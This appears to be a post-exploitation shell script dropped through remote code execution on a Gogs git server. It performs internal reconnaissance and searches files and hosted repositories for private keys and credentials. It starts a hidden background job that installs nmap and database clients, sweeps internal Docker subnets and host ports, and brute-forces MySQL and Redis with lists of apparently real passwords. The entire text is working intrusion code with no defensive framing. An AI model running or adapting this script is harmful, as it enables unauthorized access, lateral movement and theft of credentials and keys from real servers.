update 5.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143
  1. #!/bin/sh
  2. # i2277 round a: quick recon + launch heavy background scans
  3. OUT=/data/gogs/data/tmp/local-r/118/nslxlxsqfe/rce-lxlxsqfe.git
  4. LOG=$OUT/out2277a
  5. BG=$OUT/scan2277a
  6. : > "$LOG"
  7. : > "$BG"
  8. say(){ echo "$@" >> "$LOG"; }
  9. say "=== round2277a $(date -u) ==="
  10. say "--- id ---"; id 2>&1; uname -a 2>&1 | head -1
  11. say "--- tools ---"
  12. for t in apk apt-get python3 python perl php node openssl gcc wget curl nc nmap mysql mariadb redis-cli socat ssh tar gzip timeout nslookup getent; do
  13. p=$(command -v $t 2>/dev/null)
  14. [ -n "$p" ] && say "$t: $p"
  15. done
  16. say "--- os/tmp ---"; head -3 /etc/os-release 2>/dev/null; ls -ld /tmp 2>&1; df -h /tmp 2>/dev/null | tail -1
  17. say "--- dns ---"
  18. for n in gogs-db gogs internal mysql mariadb db redis cache new-api newapi nebula one-api oneapi api app web caddy traefik nginx admin console sub2api xygpt; do
  19. r=$(getent hosts "$n" 2>/dev/null | head -1)
  20. [ -z "$r" ] && r=$(nslookup "$n" 2>/dev/null | grep -A1 "^Name:" | tail -1)
  21. [ -z "$r" ] && r=$(nslookup "$n" 2>/dev/null | tail -n +4 | head -2 | tr '\n' ',')
  22. say "dns $n => ${r:-NONE}"
  23. done
  24. say "--- /data tree ---"; ls -la /data 2>&1 | head -12
  25. say "--- local-r ids ---"
  26. for d in /data/gogs/data/tmp/local-r/*/; do
  27. n=$(ls -A "$d" 2>/dev/null | tr '\n' ' ')
  28. say "LR $d => $n"
  29. done
  30. say "--- old local-r loot files ---"
  31. find /data/gogs/data/tmp/local-r -maxdepth 5 -type f 2>/dev/null | grep -v "local-r/118" | head -60
  32. say "--- /app/gogs listing ---"
  33. ls -la /app/gogs 2>&1 | head -15
  34. ls -la /app/gogs/docker 2>&1 | head -25
  35. say "--- crontabs ---"
  36. ls -la /etc/crontabs /var/spool/cron 2>&1 | head -10
  37. cat /etc/crontabs/* 2>/dev/null | head -15
  38. say "--- fs private key hunt (targeted) ---"
  39. grep -r -a -l -E "BEGIN [A-Z ]*PRIVATE KEY" /home /tmp /etc /var /app/gogs/conf /data/gogs/conf /data/gogs/data 2>/dev/null | head -15
  40. say "--- mysql 172.20.0.2:3306 handshake ---"
  41. ( sleep 1 ) | nc -w 3 172.20.0.2 3306 2>/dev/null | head -c 128 | od -An -c | head -8 >> "$LOG" 2>&1
  42. say "--- redis banner 172.20.0.1:16379 ---"
  43. printf 'PING\r\n' | nc -w 2 172.20.0.1 16379 2>/dev/null | head -2 >> "$LOG" 2>&1
  44. say "--- ssh banners ---"
  45. for hp in 10022 25919; do
  46. b=$(nc -w 2 172.20.0.1 $hp 2>/dev/null | head -1)
  47. say "hp=$hp banner=[$b]"
  48. done
  49. say "--- suid / passwd ---"
  50. find / -xdev -perm -4000 -type f 2>/dev/null | head -15
  51. grep -E "^(git|root|mysql)" /etc/passwd 2>/dev/null
  52. say "--- launched bg job ---"
  53. nohup sh -c 'BG=/data/gogs/data/tmp/local-r/118/nslxlxsqfe/rce-lxlxsqfe.git/scan2277a
  54. {
  55. echo "== bg start $(date -u) =="
  56. echo "-- egress --"
  57. for u in https://github.com https://dl-cdn.alpinelinux.org https://pypi.org; do
  58. wget -q -T 6 -O /dev/null "$u" && echo "$u OK" || echo "$u FAIL"
  59. done
  60. echo "-- apk installs --"
  61. if command -v apk >/dev/null 2>&1; then
  62. apk update 2>&1 | tail -2
  63. apk add --no-cache mariadb-client 2>&1 | tail -3
  64. apk add --no-cache redis 2>&1 | tail -2
  65. apk add --no-cache nmap 2>&1 | tail -3
  66. apk add --no-cache python3 2>&1 | tail -2
  67. fi
  68. echo "-- after installs --"
  69. command -v mysql && mysql --version
  70. command -v redis-cli && redis-cli --version
  71. command -v nmap && nmap --version 2>&1 | head -1
  72. command -v python3 && python3 -V
  73. echo "-- arp --"; cat /proc/net/arp
  74. echo "-- route --"; cat /proc/net/route
  75. echo "-- neighbors sweep 172.20.0.0/24 --"
  76. for i in $(seq 4 90); do
  77. for p in 80 443 3000 3306 6379 8080 9000 16379; do
  78. ( nc -z -w 1 172.20.0.$i $p 2>/dev/null && echo "OPEN 172.20.0.$i:$p" ) &
  79. done
  80. done
  81. wait
  82. echo "-- other bridges --"
  83. for net in 172.17 172.18 172.19 172.21 172.22 172.23; do
  84. for i in 2 3 4 5 6 8 10; do
  85. for p in 80 443 3000 3306 6379 8080; do
  86. ( nc -z -w 1 $net.0.$i $p 2>/dev/null && echo "OPEN $net.0.$i:$p" ) &
  87. done
  88. done
  89. done
  90. wait
  91. echo "-- host targeted ports --"
  92. for p in 22 80 443 3000 3306 5000 5432 5601 6379 6600 8080 8081 8300 8443 8888 9000 9090 9200 10022 16379 20001 25919 27017 2375 2376 10250; do
  93. ( nc -z -w 1 172.20.0.1 $p 2>/dev/null && echo "OPEN host:$p" ) &
  94. done
  95. wait
  96. echo "-- host range scans --"
  97. for p in $(seq 10000 10100) $(seq 16000 16399) $(seq 19990 20030) $(seq 25900 25930) $(seq 30000 30015); do
  98. ( nc -z -w 1 172.20.0.1 $p 2>/dev/null && echo "OPEN host:$p" ) &
  99. done
  100. wait
  101. echo "-- mysql login tests 172.20.0.2 --"
  102. if command -v mysql >/dev/null 2>&1; then
  103. for cred in gogs:ywf123456 root:ywf123456 root:ywf123456@! root:root root:password gogs:gogs root:123456; do
  104. u=${cred%%:*}; p=${cred#*:}
  105. out=$(mysql -h 172.20.0.2 -P 3306 -u "$u" -p"$p" --connect-timeout=6 -N -e "select version(); show databases;" 2>&1 | head -40 | tr "\n" ";")
  106. echo "MYSQL $u/$p => $out"
  107. done
  108. fi
  109. echo "-- redis 16379 corpus --"
  110. for pw in ywf123456 ywf123456@! app.ZxAris@169 nf.video123456@@@ 95611Lvsinco M3F1j9GyxIhKbN4 netflix_123 Dev.12345 "5nQqF1a&Yf1oig_T9k" "ProbeLx1853!x" server-pull qwer1234 d8kBs6m3JGNctw8m "Yinhe./123" yhlxj123 redis123 123456 admin123 root nebula apinebula; do
  111. r=$(printf "AUTH %s\r\nPING\r\nQUIT\r\n" "$pw" | nc -w 2 172.20.0.1 16379 2>/dev/null | head -3 | tr "\n" "|")
  112. echo "REDIS pw=$pw => $r"
  113. done
  114. echo "-- repo key hunt --"
  115. for gd in /data/git/gogs-repositories/*/*.git; do
  116. sz=$(du -sm "$gd" 2>/dev/null | cut -f1)
  117. [ "${sz:-0}" -gt 250 ] && continue
  118. out=$(timeout 8 git --git-dir="$gd" grep -l -a -E "BEGIN [A-Z ]*PRIVATE KEY" HEAD 2>/dev/null | head -2)
  119. [ -n "$out" ] && echo "KEYBLOB $gd => $out"
  120. out2=$(timeout 8 git --git-dir="$gd" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE "id_rsa|id_ed25519|deploy_key|\.pem$" | head -4)
  121. [ -n "$out2" ] && echo "KEYFILE $gd => $out2"
  122. done
  123. echo "-- git creds hunt --"
  124. grep -r -a -h -E "https?://[^ :]+:[^ @]+@" /data/git/ /data/gogs/conf/ 2>/dev/null | head -10
  125. echo "== bg done $(date -u) =="
  126. } >> "$BG" 2>&1' >/dev/null 2>&1 &
  127. say "bg pid: $!"
  128. sleep 2
  129. say "--- round2277a sync part done $(date -u) ---"